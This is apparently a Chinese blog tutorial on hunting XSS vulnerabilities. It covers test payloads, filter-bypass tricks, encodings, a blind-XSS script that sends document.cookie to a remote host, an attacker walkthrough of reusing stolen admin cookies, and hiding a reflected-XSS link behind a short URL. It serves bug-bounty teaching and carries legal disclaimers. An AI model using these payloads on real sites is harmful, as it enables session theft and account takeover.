[ 漏洞挖掘基础篇五 ] 漏洞挖掘之 XSS 注入挖掘

news2024/12/24 20:23:58

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 中华人民共和国网络安全法
  • 文章内容仅用于以防御为目的的演示请勿用于其他用途,否则后果自负
  • 漏洞发布要求
  • 1.XSS测试规范
    • 1.1 行业规范
    • 1.2 概述
  • 2.XSS原理
    • 2.1 开发层面讲原理
      • 2.1.1开发需求:
      • 2.1.2实现结果:
      • 2.1.3实现方式:
    • 2.2 xss产生关键点:
    • 2.3 xss类型:
      • 2.3.1 区别:
  • 3.XSS常见测试语句
    • 3.1 无任何过滤
    • 3.2 符合src测试规范
    • 3.3 值标签内考虑闭合
    • 3.4 text标签内需先闭合标签
  • 4.XSS盲打
    • 4.1 介绍
    • 4.2 攻击者视角:
    • 4.3 管理员视角:
  • 5.XSS常用绕过方法(有过滤)
    • 5.1 白名单标签
    • 5.2 大小写转换
    • 5.3 标签嵌套绕过单次移除
    • 5.4 处理尖括号未处理引号
    • 5.5 a标签href属性内且无法闭合属性
    • 5.6 script标签内的测试,对尖括号有处理
    • 5.7 其他payload
  • 6.XSS测试常见编码
  • 7.XSS常见测试场景
  • 8.XSS多位置写入测试方法
  • 9.XSS富文本测试
  • 10.总结问题:
    • 1.如果尖括号被转义:
    • 2.判断事件属性过滤是黑名单还是白名单,判断不能插入标签
    • 3.反射XSS变存储XSS
  • 11、前文分享
  • 中华人民共和国网络安全法
  • 文章内容仅用于以防御为目的的演示请勿用于其他用途,否则后果自负
  • 漏洞发布要求

中华人民共和国网络安全法

第二十七条
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动:不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具,明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。

文章内容仅用于以防御为目的的演示请勿用于其他用途,否则后果自负

漏洞发布要求

1.不得在网络产品提供者提供网络产品安全漏洞修补措施之前发布漏洞信息
2.不得发布网络运营者在用的网络、信息系统及其设备存在安全漏洞的细节情况不得刻意夸大网络产品安全漏洞的危害和风险,
3.不得利用网络产品安全漏洞信息实施恶意炒作或者进行诈骗、敲诈勒索等违法犯罪活动
4.不得发布或者提供专门用于利用网络产品安全漏洞从事危害网络安全活动的程序和工具5. 5.在发布网络产品安全漏洞时,应当同步发布修补或者防范措施
6.在国家举办重大活动期间,未经公安部同意,不得擅自发布网络产品安全漏洞信息
7.不得将未公开的网络产品安全漏洞信息向网络产品提供者之外的境外组织或者个人提供
8.法律法规的其他相关规定

1.XSS测试规范

1.1 行业规范

存储xss漏洞,正确的方法是插入不影响他人的测试payload ,严禁弹窗,推荐使用console.log ,再通过自己的另一个帐号进行验证,提供截图证明。对于盲打类XSS ,仅允许外带domain信息。所有XSS测试,测试之后需删除插入数据,如不能删除,请在漏洞报告中备注插入点。
SRC行业安全测试规范

1.2 概述

跨站脚本(英语: Cross-site scripting ,通常简称为: XSS )是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

2.XSS原理

2.1 开发层面讲原理

2.1.1开发需求:

用户搜索关键词,列出搜索结果,同时页面显示用户搜索词

2.1.2实现结果:

用户访问www.test.com/search?queryString=PowerShell,列出PowerShell相关文章,同时页面展示搜索词PowerShell。

2.1.3实现方式:

1.获取用户queryString参数传递值“PowerShell”
2.去数据库中文章表查询匹配“PowerShell”的内容
3.将变量queryString值"PowerShell”与数据库查询结果一并通过html页面回显至浏览器

在这里插入图片描述

2.2 xss产生关键点:

用户提交(主动或被动)的数据内容被输出到html页面中
程序没有对用户提交内容做合理的处理,导致用户可以改变原有htm|语义或添加额外的html语句

2.3 xss类型:

反射型:测试语句经后端程序处理后直接输出 ,且不会对测试语句保存
存储型:测试语句经后端程序处理后保存 ,且会在相应位置输出测试语句
DOM型:测试语句由前端js代码输出,不局限于是否存储(绝大部分为反射型)
DOM ( Document Object Model )文档对象模型

2.3.1 区别:

网页源码能看到的就是反射或者存储
网页源码看不到的,浏览器debug可以看到的一般就是DOM型
DOM可能是反射(基本上)可能是存储(绝少数)

3.XSS常见测试语句

3.1 无任何过滤

<script> alert(1)</script>

3.2 符合src测试规范

<script> console.log("test")</script>
<script> console.log("aaaaaaaaa")</script>

页面没有任何感知,但是浏览器debug中会输出出来(符合规范的测试)

在这里插入图片描述

3.3 值标签内考虑闭合

"> <script> console.log("test") </script>

单引号,双引号,看到双引号不一定是双引号,可能程序后台做了转化

3.4 text标签内需先闭合标签

< /textarea> <script> console.log("test") </script> 
< /textarea>该标签无法实现弹窗,需要先闭合他

4.XSS盲打

4.1 介绍

XSS盲打指攻击者对数据提交后展现结果未知的情况下,插入具有攻击性的xss利用语句,如果展现页面对攻击者提交内容没有合理过滤,则会触发xss攻击,实现攻击者的预定功能。常见于盗取后台管理员cookies并登陆后台。

<script>
document.write('<img src="http://192.168.31.103/pkxss/xcookie/cookie.php?
cookie='+document.cookie+" width="O" height="O" />');
</script>

输出一个内容 图片的标签 属性值是php一个地址 +当前cookie 宽为0高为0(隐藏)

4.2 攻击者视角:

1.XSS测试语句

在这里插入图片描述

2.可看到管理员从哪个页面利用这个cookie登录进入管理员页面

在这里插入图片描述

3.不使用cookie尝试登录 跳转回 提交页面
尝试使用抓到的cookie登录,可以直接用插件更改,也可使用浏览器的调试窗口更改cookie

在这里插入图片描述

4.成功进入管理管界面

在这里插入图片描述

5.很多时候只需要改cookie关键的字段就可以了,并不一定全部要更改,具体要看浏览器从哪个字段来验证登录身份

4.3 管理员视角:

管理员账号密码登录:页面看不到内容,但是可以在浏览器debug中看到(被X到)

在这里插入图片描述

5.XSS常用绕过方法(有过滤)

5.1 白名单标签

<img src= 1 onerror=alert(1)>		(img 标签常用 onerror事件)
Pikachu DOM型XSS 示例:
<img src=1 onerror=alert(1)>提交成功弹窗
img标签:传一个错误的scr地址,加一个onerror属性
访问1这个地址出错就弹窗

5.2 大小写转换

<scTipt> alert(1) </sCript>

5.3 标签嵌套绕过单次移除

<scri<script> pt> alert(1) </scri<script> pt>

网站中< script >等字符(标签)过滤为空

5.4 处理尖括号未处理引号

' onmouseover= console.log("test")"    (a标签一般采用这个属性)

当我们的鼠标移动到上面就会触发语句(尖括号不能用的情况)
或者采用时间属性等标签来实现绕过
实例:

aaaa’ onmouseover=alert(111)

在这里插入图片描述

5.5 a标签href属性内且无法闭合属性

javascript:console.log('test')

href属性就是一个超链接
单引号 尖括号都不能用,我们可以采用伪协议的方式
实例:

javascript:alert(1)   点击超链接触发弹窗

在这里插入图片描述

5.6 script标签内的测试,对尖括号有处理

';alert(1);//		注意注释符(JavaScript的注释符)

本省在JavaScript标签里面,我们没必要闭合标签,闭合标签里面的单引号等等的就行了,然后;结束。然后注释掉标签里面的其他东西。
实例:

aaaa’;alert(1);//

在这里插入图片描述

5.7 其他payload

查询http://html5sec.org/
遇到特殊情况的XSS我们可以试一试
在这里插入图片描述

6.XSS测试常见编码

&lt;		//html编码,特征&开始, ;结束
&#60;	 //html编码 ,特征&#开始, ;结束,中间的60为字符<的ascii编码
&#x3c; 	//html编码 ,特征&#x开始, ;结束,中间的3c为字符<的十六进制
%3c		//URL编码,特征%开始,后面3c为<的十六进制
\u003c 	//unicode编码 ,特征\u开头,后面为4个字符, 3c为<的十六进制, 00为填充
一般中文才用unicode编码

常见编码在线转换https://xssor.io/

转义的时候就会用到 这些编码 php有转义函数htmlspecialchars

7.XSS常见测试场景

站点内用户间私信
个人资料编辑(昵称、邮箱、姓名、地址… )
站点内容发布(发表文章、发表评论… )
客服对话窗口
订单流程(备注信息、收货地址、姓名… )

8.XSS多位置写入测试方法

对每个位置分别写入顺序字符进行标记
写入测试字符,观察字符返回情况
如图:
很多地方可以提交,我们就可以采用抓包,如图方式,标记

在这里插入图片描述

9.XSS富文本测试

富文本因为使用场景的需求,本身需要支持插入< a > < img >等标签,因此不会统一使用html编码处理,我们可以在此基础上进行更多的xss测试。

在这里插入图片描述

富文本测试思路很多

10.总结问题:

1.如果尖括号被转义:

如果这个东西出现在标签里面,我们可以利用标签里的事件属性方法去测试;
没在标签里,就可以放弃了。

2.判断事件属性过滤是黑名单还是白名单,判断不能插入标签

3.反射XSS变存储XSS

某网站发现反射xss

在这里插入图片描述

同站点发现可插入超链接的位置,将反射xss转换为短网址后插入(转为短网址的目的为看起来更不容易引起怀疑)

在这里插入图片描述

发表成功,点击链接即触发xss

在这里插入图片描述

11、前文分享

[ 漏洞挖掘基础篇一 ] 信息收集之在线收集

[ 漏洞挖掘基础篇二 ] 信息收集之工具站点

[ 漏洞挖掘基础篇三 ] 漏洞挖掘之fuzz测试

[ 漏洞挖掘基础篇四 ] 漏洞挖掘之 SQL 注入挖掘

中华人民共和国网络安全法

第二十七条
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动:不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具,明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。

文章内容仅用于以防御为目的的演示请勿用于其他用途,否则后果自负

漏洞发布要求

1.不得在网络产品提供者提供网络产品安全漏洞修补措施之前发布漏洞信息
2.不得发布网络运营者在用的网络、信息系统及其设备存在安全漏洞的细节情况不得刻意夸大网络产品安全漏洞的危害和风险,
3.不得利用网络产品安全漏洞信息实施恶意炒作或者进行诈骗、敲诈勒索等违法犯罪活动
4.不得发布或者提供专门用于利用网络产品安全漏洞从事危害网络安全活动的程序和工具5. 5.在发布网络产品安全漏洞时,应当同步发布修补或者防范措施
6.在国家举办重大活动期间,未经公安部同意,不得擅自发布网络产品安全漏洞信息
7.不得将未公开的网络产品安全漏洞信息向网络产品提供者之外的境外组织或者个人提供
8.法律法规的其他相关规定

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/108641.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

创新指南|2023年企业战略制定应避免的5大误区

在迅速发展、不断变化的当下&#xff0c;尤其是疫情黑天鹅发生之后&#xff0c;许多企业面临着高度的不确定性&#xff0c;从而亟需进行企业战略的思考。在本文中&#xff0c;战略专家Stephen Bungay指出了五个战略误区&#xff0c;并解释了它们为什么听起来正确&#xff0c;以…

基于JAVA技术的《物联网技术》课程学习网站设计与实现

开发工具(eclipse/idea/vscode等)&#xff1a; 数据库(sqlite/mysql/sqlserver等)&#xff1a; 功能模块(请用文字描述&#xff0c;至少200字)&#xff1a; 基于JAVA技术的《物联网技术》课程学习网站设计与实现 网站前台&#xff1a;关于我们、联系我们、公告信息、资料信息&a…

实现Kafka至少消费一次

实现Kafka至少消费一次默认的kafka消费者存在什么问题&#xff1f;实现至少消费一次加入重试队列再次消费使用seek方法再次消费在实际重要的场景中&#xff0c;常常需要实现消费者至少消费一次。因为使用默认的kafka消费者存在某些问题。 默认的kafka消费者存在什么问题&#x…

Django+DRF+Vue+Mysql+Redis OUC软件工程作业

交作业啦 前端&#xff1a;htmlcssjsVueElement-ui 后端&#xff1a;DjangoDRFceleryhaystackdjango_crontab 数据库&#xff1a;MysqlRedis 一些技术和功能&#xff1a; 为session、短信验证码、用户浏览记录、购物车、异步任务队列 创建缓存whoosh搜索引擎异步任务队列 用…

谷歌Recorder实现说话人自动标注,功能性与iOS语音备忘录再度拉大

在今年的 Made By Google 大会上&#xff0c;谷歌公布了 Recorder 应用的自动说话人标注功能。该功能将实时地为语音识别的文本加上匿名的说话人标签&#xff08;例如 “说话人 1” 或“说话人 2”&#xff09;。这项功能将极大地提升录音文本的可读性与实用性。 谷歌于 2019 …

Spring Cloud Alibaba Sentinel - - >流控规则初体验

源码地址&#xff1a;https://github.com/alibaba/Sentinel 新手指南&#xff1a;https://github.com/alibaba/Sentinel/wiki/新手指南#公网-demo 官方文档&#xff1a;https://sentinelguard.io/zh-cn/docs/introduction.html 注解支持文档&#xff1a;https://github.com/ali…

Android常用布局总结之(FrameLayout、ConstraintLayout)

一、FrameLayout 帧布局 这种布局类似叠加的图片&#xff0c;没有任何的定位方式&#xff0c;当我们往里面添加组件的时候&#xff0c;会默认把他们放到容器的左上角。 上面的组件显示在底层&#xff0c;下面的组件显示在上层。 如下代码&#xff0c;视图1显示在最底层&#…

虹科案例 | 光纤传感器实现了新的核磁共振应用!

背景介绍 光纤传感器已成为推动MRI最新功能套件升级和新MRI设备设计背后的关键技术。将患者的某些活动与MRI成像系统同步是越来越受重视的需求。磁场强度随着每一代的发展而增大&#xff08;3.0T是当今最高的标准&#xff09;&#xff0c;因此&#xff0c;组件的电磁透明度在每…

python---数据库操作

在python中&#xff0c;使用第三方库pymysql来执行数据库操作 命令行窗口输入 &#xff1a;pip install pymysql&#xff0c;下载第三方库 数据库查询操作 Python查询Mysql使用 fetchone() 方法获取单条数据, 使用fetchall() 方法获取多条数据。 fetchone(): 该方法获取下一…

OpManager 网络管理软件

随着网络在有线、无线和虚拟 IT 环境中的扩展&#xff0c;网络管理只会变得越来越复杂&#xff0c;使网络管理员需要他们可以获得的所有帮助。市场上有无数的网络管理解决方案&#xff0c;因此将注意力集中在正确的解决方案上非常重要。网络管理工具通常可以帮助您将网络的各种…

一行python命令让手机读取电脑文件

本文讲解python的一个内置文件传输下载器&#xff0c;可以用来在局域网内进行文件传输&#xff0c;当然可能有人会问&#xff0c;我用微信QQ也能传&#xff0c;为什么还要用python来传输下载&#xff1f;在此&#xff0c;其实我个人感觉的是&#xff0c;这种操作更简单&#xf…

【Web开发】Python实现Web服务器(Ubuntu下打包Flask)

&#x1f37a;基于Python的Web服务器系列相关文章编写如下&#x1f37a;&#xff1a; &#x1f388;【Web开发】Python实现Web服务器&#xff08;Flask快速入门&#xff09;&#x1f388;&#x1f388;【Web开发】Python实现Web服务器&#xff08;Flask案例测试&#xff09;&a…

安科瑞红外测温方案助力滁州某新能源光伏产业工厂安全用电

安科瑞 李亚俊 壹捌柒贰壹零玖捌柒伍柒 摘要&#xff1a; 近年来&#xff0c;在国家政策引导与技术革新驱动的双重作用下&#xff0c;光伏产业保持快速增长态势&#xff0c;产业规模持续扩大&#xff0c;技术迭代更新不断&#xff0c;目前已在全球市场取得优势。据统计&#…

数据结构C语言版——链式二叉树的基本操作实现

文章目录链式二叉树1. 概念2. 链式二叉树的基本操作前序遍历中序遍历后续遍历根据前序遍历构建二叉树层序遍历在二叉树中查找指定值获取二叉树节点个数获取叶子节点个数求二叉树的高度链式二叉树 1. 概念 设计不同的节点结构可构成不同形式的链式存储结构。由二叉树的定义可知…

用简单伪随机数发生器实现随机中点位移分形(Matlab代码实现)

目录 &#x1f4a5;1 概述 &#x1f4da;2 运行结果 &#x1f389;3 参考文献 &#x1f468;‍&#x1f4bb;4 Matlab代码 &#x1f4a5;1 概述 随机分形(random fractal)采用随机生成机制而得到的分形集.分形体不具有特征尺度(亦即大小尺度跨好几个量级)&#xff0c;却有…

5G无线技术基础自学系列 | 5G接入类KPI

素材来源&#xff1a;《5G无线网络规划与优化》 一边学习一边整理内容&#xff0c;并与大家分享&#xff0c;侵权即删&#xff0c;谢谢支持&#xff01; 附上汇总贴&#xff1a;5G无线技术基础自学系列 | 汇总_COCOgsta的博客-CSDN博客 接入类KPI反映了用户成功接入到网络中并…

李沐精读论文:Swin transformer: Hierarchical vision transformer using shifted windows

论文地址&#xff1a;Swin transformer: Hierarchical vision transformer using shifted windows 代码&#xff1a;官方源码 pytorch实现 SwinTransformerAPI 视频&#xff1a;Swin Transformer论文精读【论文精读】_哔哩哔哩_bilibili 本文注意参考&#xff1a;Swin Transfor…

MySql性能优化(四)索引

Index索引相关概念数据结构B树优点及用处优点用处分类技术名词回表覆盖索引最左匹配索引下推索引的匹配方式哈希索引特点代价案例组合索引案例聚簇索引与非聚簇索引聚簇索引非聚簇索引覆盖索引基本介绍优点判断参考索引相关概念 数据结构 B树 推荐一篇讲的很不错的文章&…

【小程序】wxss与rpx单位以及全局样式和局部样式

目录 WXSS 1. 什么是 WXSS 2. WXSS 和 CSS 的关系 rpx 1. 什么是 rpx 尺寸单位 2. rpx 的实现原理 3. rpx 与 px 之间的单位换算* 样式导入 1. 什么是样式导入 2. import 的语法格式 全局样式和局部样式 1. 全局样式 2. 局部样式 WXSS 1. 什么是 WXSS WXSS (We…

Linux网络与数据封装

欢迎关注博主 Mindtechnist 或加入【Linux C/C/Python社区】一起探讨和分享Linux C/C/Python/Shell编程、机器人技术、机器学习、机器视觉、嵌入式AI相关领域的知识和技术。 Linux网络与数据封装1. 网络应用程序的设计模式&#xff08;1&#xff09;C/S架构&#xff08;2&#…